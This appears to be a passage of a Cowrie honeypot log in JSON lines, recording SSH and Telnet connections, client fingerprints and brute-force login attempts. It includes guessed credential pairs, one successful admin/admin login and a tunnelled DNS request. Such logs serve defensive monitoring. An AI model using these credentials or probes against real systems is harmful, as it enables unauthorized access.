{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:09.827742Z","src_ip":"103.77.175.15","session":"c088041ce9e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999999","message":"login attempt [root/9999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:10.579959Z","src_ip":"103.77.175.15","session":"c088041ce9e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:10.592555Z","src_ip":"192.169.243.246","session":"d7cea072ff19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:11.840649Z","src_ip":"103.77.175.15","session":"c088041ce9e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59448,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ffb10a4b56","protocol":"ssh","message":"New connection: 87.251.64.176:59448 (10.17.0.5:22) [session: 52ffb10a4b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.393940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.398746Z","src_ip":"87.251.64.176","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.495548Z","src_ip":"87.251.64.176","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.785550Z","src_ip":"87.251.64.176","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.884282Z","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:36.985798Z","src_ip":"87.251.64.176","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:37.085725Z","src_ip":"87.251.64.176","session":"52ffb10a4b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48616,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7aa201fcdc9","protocol":"ssh","message":"New connection: 37.143.61.84:48616 (10.17.0.5:22) [session: b7aa201fcdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:40.408349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:40.690388Z","src_ip":"37.143.61.84","session":"b7aa201fcdc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:40.804698Z","src_ip":"37.143.61.84","session":"b7aa201fcdc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trade","message":"login attempt [root/trade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:41.791293Z","src_ip":"37.143.61.84","session":"b7aa201fcdc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:42.987170Z","src_ip":"37.143.61.84","session":"b7aa201fcdc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":54670,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ef87b9a62f8","protocol":"ssh","message":"New connection: 43.156.136.152:54670 (10.17.0.5:22) [session: 1ef87b9a62f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:47.519470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:47.524318Z","src_ip":"43.156.136.152","session":"1ef87b9a62f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:47.769719Z","src_ip":"43.156.136.152","session":"1ef87b9a62f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jeevan","message":"login attempt [root/jeevan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:48.784816Z","src_ip":"43.156.136.152","session":"1ef87b9a62f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:50.038193Z","src_ip":"43.156.136.152","session":"1ef87b9a62f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d9c028c7925","protocol":"ssh","message":"New connection: 193.32.162.151:42788 (159.203.135.109:22) [session: 1d9c028c7925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:50.177425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:50.182405Z","src_ip":"193.32.162.151","session":"1d9c028c7925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:50.283757Z","src_ip":"193.32.162.151","session":"1d9c028c7925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:50.591219Z","src_ip":"193.32.162.151","session":"1d9c028c7925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:43:51.695075Z","src_ip":"193.32.162.151","session":"1d9c028c7925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":45742,"dst_ip":"10.17.0.5","dst_port":22,"session":"9adfc238b952","protocol":"ssh","message":"New connection: 43.228.112.254:45742 (10.17.0.5:22) [session: 9adfc238b952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:21.480968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:21.486399Z","src_ip":"43.228.112.254","session":"9adfc238b952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:21.694844Z","src_ip":"43.228.112.254","session":"9adfc238b952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"altec","message":"login attempt [root/altec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:22.560697Z","src_ip":"43.228.112.254","session":"9adfc238b952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:23.772386Z","src_ip":"43.228.112.254","session":"9adfc238b952","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":47806,"dst_ip":"10.17.0.5","dst_port":22,"session":"01478cec4232","protocol":"ssh","message":"New connection: 192.169.243.246:47806 (10.17.0.5:22) [session: 01478cec4232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:25.635247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:25.641431Z","src_ip":"192.169.243.246","session":"01478cec4232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:25.713931Z","src_ip":"192.169.243.246","session":"01478cec4232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc1q2w3e","message":"login attempt [root/idc1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:26.039174Z","src_ip":"192.169.243.246","session":"01478cec4232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:27.114684Z","src_ip":"192.169.243.246","session":"01478cec4232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.98.79","src_port":51647,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3892d01e0bc","protocol":"telnet","message":"New connection: 36.26.98.79:51647 (159.203.135.109:23) [session: f3892d01e0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:30.822114Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.181","src_port":19050,"dst_ip":"159.203.135.109","dst_port":22,"session":"88c6184577d8","protocol":"ssh","message":"New connection: 69.5.169.181:19050 (159.203.135.109:22) [session: 88c6184577d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:36.301058Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:36.390470Z","src_ip":"69.5.169.181","session":"88c6184577d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":30794,"dst_ip":"10.17.0.5","dst_port":22,"session":"dec4a0a25a43","protocol":"ssh","message":"New connection: 94.26.106.201:30794 (10.17.0.5:22) [session: dec4a0a25a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.126222Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.130799Z","src_ip":"94.26.106.201","session":"dec4a0a25a43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":30804,"dst_ip":"10.17.0.5","dst_port":22,"session":"26afdfa403a2","protocol":"ssh","message":"New connection: 94.26.106.201:30804 (10.17.0.5:22) [session: 26afdfa403a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.225494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:44:38.230783Z","src_ip":"94.26.106.201","session":"26afdfa403a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"